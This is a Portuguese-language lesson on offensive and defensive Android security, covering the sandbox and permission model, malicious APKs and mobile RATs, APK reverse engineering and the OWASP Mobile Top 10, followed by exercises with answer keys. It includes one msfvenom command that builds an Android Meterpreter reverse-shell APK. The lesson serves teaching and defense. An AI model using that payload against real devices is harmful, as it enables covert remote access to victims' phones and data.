O smartphone é hoje o computador mais pessoal e onipresente que existe — carrega e-mails, bancos, fotos, localização, contatos, tudo. E o Android, por ser o sistema móvel mais difundido e aberto, é um alvo importante e uma superfície de estudo rica. Esta aula cobre a segurança Android pela ótica ofensiva: como aplicações maliciosas comprometem dispositivos, como se analisa um APK, e as vulnerabilidades do ecossistema móvel. Sua ementa original destacava "invasão a dispositivo Android" — aqui a tratamos com profundidade técnica e defensiva. Laboratório com emuladores e dispositivos de teste, sempre.

O sandbox e as permissões

Comece pelo modelo de segurança do Android, porque atacá-lo exige entendê-lo. O Android é baseado em Linux e usa um modelo de sandbox por aplicativo: cada app roda isolado, com seu próprio espaço, e só pode acessar o que lhe é explicitamente permitido através de permissões (acesso à câmera, contatos, localização, etc., que o usuário concede). Esse isolamento é a defesa central — um app não deveria acessar os dados de outro nem do sistema sem permissão. Muitos ataques Android giram em torno de abusar de permissões concedidas, escapar do sandbox, ou explorar apps que gerenciam mal seus próprios dados. Apps são distribuídos como arquivos APK (pacotes que contêm o código e os recursos do app).

A aplicação maliciosa e o RAT móvel

O vetor de ataque mais direto é a aplicação maliciosa — o RAT móvel (aula Tipos de malware: o zoológico do código malicioso). Um atacante cria um APK que parece legítimo (um jogo, uma ferramenta útil) mas contém funcionalidade maliciosa, e engana a vítima a instalá-lo (engenharia social, aula Engenharia social e o SET: hackeando o humano). O msfvenom (aula Gerando payloads com msfvenom: shells sob medida) gera payloads Android:

# gera um APK malicioso com um Meterpreter (laboratório/autorizado)
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o app.apk

Fontes não confiáveis exigem consentimento

Uma vez instalado e executado, esse app conecta de volta ao atacante, dando acesso ao dispositivo — potencialmente à câmera, microfone, mensagens, localização, arquivos (limitado pelas permissões que o app obteve). A defesa central do Android contra isso é que apps de fontes não confiáveis (fora da loja oficial) exigem que o usuário explicitamente habilite a instalação de "fontes desconhecidas" — então esse ataque depende de convencer a vítima a baixar de fora da loja e ignorar os avisos, ou de conseguir publicar um app malicioso que passe pela revisão da loja (o que acontece ocasionalmente). O ecossistema mais aberto do Android (permite instalar de qualquer fonte) é conveniência e risco ao mesmo tempo.

Engenharia reversa de APK

Um pilar da segurança móvel ofensiva é a análise de aplicativos — a engenharia reversa de APKs (conectando com a análise de malware da aula Fundamentos de análise de malware: dissecando o código hostil e o RE da aula Engenharia reversa: desmontando o software para entendê-lo). Como o APK contém o código do app, um analista pode descompilá-lo para examinar o que ele faz: que permissões pede, com que servidores comunica, como armazena dados, e — o mais valioso — que falhas contém. Ferramentas como o jadx, o apktool e o MobSF (Mobile Security Framework) permitem inspecionar APKs. As falhas comuns que se encontram: armazenamento inseguro de dados (senhas, tokens ou dados sensíveis guardados sem criptografia no dispositivo), credenciais/chaves hardcoded no código (a lição do Bloco IV — chaves de API embutidas no APK, extraíveis por qualquer um que descompile), comunicação insegura (sem TLS, ou com validação de certificado desabilitada), e componentes expostos (partes do app acessíveis por outros apps que não deveriam ser). O OWASP mantém um Mobile Top 10 análogo ao web, catalogando essas classes.

Um aparelho que concentra a vida digital

O ponto conceitual da segurança móvel: o dispositivo móvel concentra dados sensíveis e sensores poderosos (câmera, GPS, microfone) num aparelho que a pessoa carrega para toda parte e frequentemente protege menos que seu computador. Isso o torna um alvo de altíssimo valor — comprometer um celular pode dar acesso à vida digital inteira da vítima (e-mail, banco, 2FA por SMS, localização em tempo real). E o modelo de permissões, embora robusto em teoria, depende de o usuário entender o que concede — quantas pessoas leem realmente as permissões que um app pede? Um app de lanterna que pede acesso a contatos e localização é suspeito, mas muitos concedem sem pensar. A segurança móvel tem, como a engenharia social, uma forte dimensão humana: a decisão do usuário de instalar e conceder permissões.

Loja oficial, permissões e atualização

Do lado defensivo, as contramedidas cobrem usuário, desenvolvedor e organização. Para usuários: instalar apps apenas de fontes oficiais (a loja tem revisão, imperfeita mas real), revisar permissões criticamente (por que este app precisa disto?), manter o sistema atualizado, e desconfiar de APKs enviados fora das lojas. Para desenvolvedores: seguir o OWASP Mobile Top 10 — armazenar dados sensíveis de forma criptografada, nunca hardcodar segredos, usar TLS com validação de certificado (e certificate pinning), não expor componentes indevidamente. Para organizações (que gerenciam dispositivos de funcionários): o MDM (Mobile Device Management) permite impor políticas de segurança em dispositivos corporativos. A lição: o dispositivo móvel é um computador poderoso e pessoal que merece a mesma seriedade de segurança que qualquer outro — e sua natureza (dados concentrados, permissões, distribuição de apps) cria vetores próprios.

Fontes e leituras recomendadas

Exercícios

  1. Explique o modelo de sandbox e permissões do Android e por que ele é a defesa central.

    ✓ Resposta:

    Cada app roda isolado num sandbox, com seu próprio espaço, e só acessa recursos (câmera, contatos, localização) mediante permissões que o usuário concede. É a defesa central porque impede que um app acesse dados de outro app ou do sistema sem autorização explícita, contendo o dano de um app malicioso ao que lhe foi permitido.

  2. Como funciona um ataque via aplicação maliciosa (RAT), e qual defesa do Android o dificulta?

    ✓ Resposta:

    O atacante cria um APK aparentemente legítimo com funcionalidade maliciosa (um RAT que conecta de volta ao atacante) e engana a vítima a instalá-lo, obtendo acesso ao dispositivo conforme as permissões concedidas. A defesa que o dificulta é a exigência de o usuário habilitar explicitamente "fontes desconhecidas" para instalar apps de fora da loja oficial, ignorando avisos.

  3. O que a análise/descompilação de um APK permite descobrir? Cite três falhas comuns.

    ✓ Resposta:

    Permite examinar o que o app faz: permissões, comunicação, armazenamento e falhas. Falhas comuns: armazenamento inseguro de dados sensíveis, credenciais/chaves hardcoded no código, comunicação insegura (sem TLS ou sem validação de certificado), componentes expostos. (Três quaisquer.)

  4. Por que o dispositivo móvel é um alvo de altíssimo valor, e qual a dimensão humana da segurança móvel?

    ✓ Resposta:

    Porque concentra dados sensíveis (e-mail, banco, 2FA, fotos) e sensores poderosos (câmera, GPS, microfone) num aparelho que a pessoa carrega sempre e protege menos que o computador — comprometê-lo dá acesso à vida digital inteira. A dimensão humana é que o modelo de permissões depende de o usuário entender e avaliar criticamente o que concede, o que muitos não fazem.

  5. Cite uma contramedida para usuários e uma para desenvolvedores de apps.

    ✓ Resposta:

    Usuários: instalar apps só de fontes oficiais, revisar permissões, manter atualizado. Desenvolvedores: seguir o OWASP Mobile Top 10 — criptografar dados sensíveis, não hardcodar segredos, usar TLS com validação de certificado, não expor componentes. (Uma de cada.)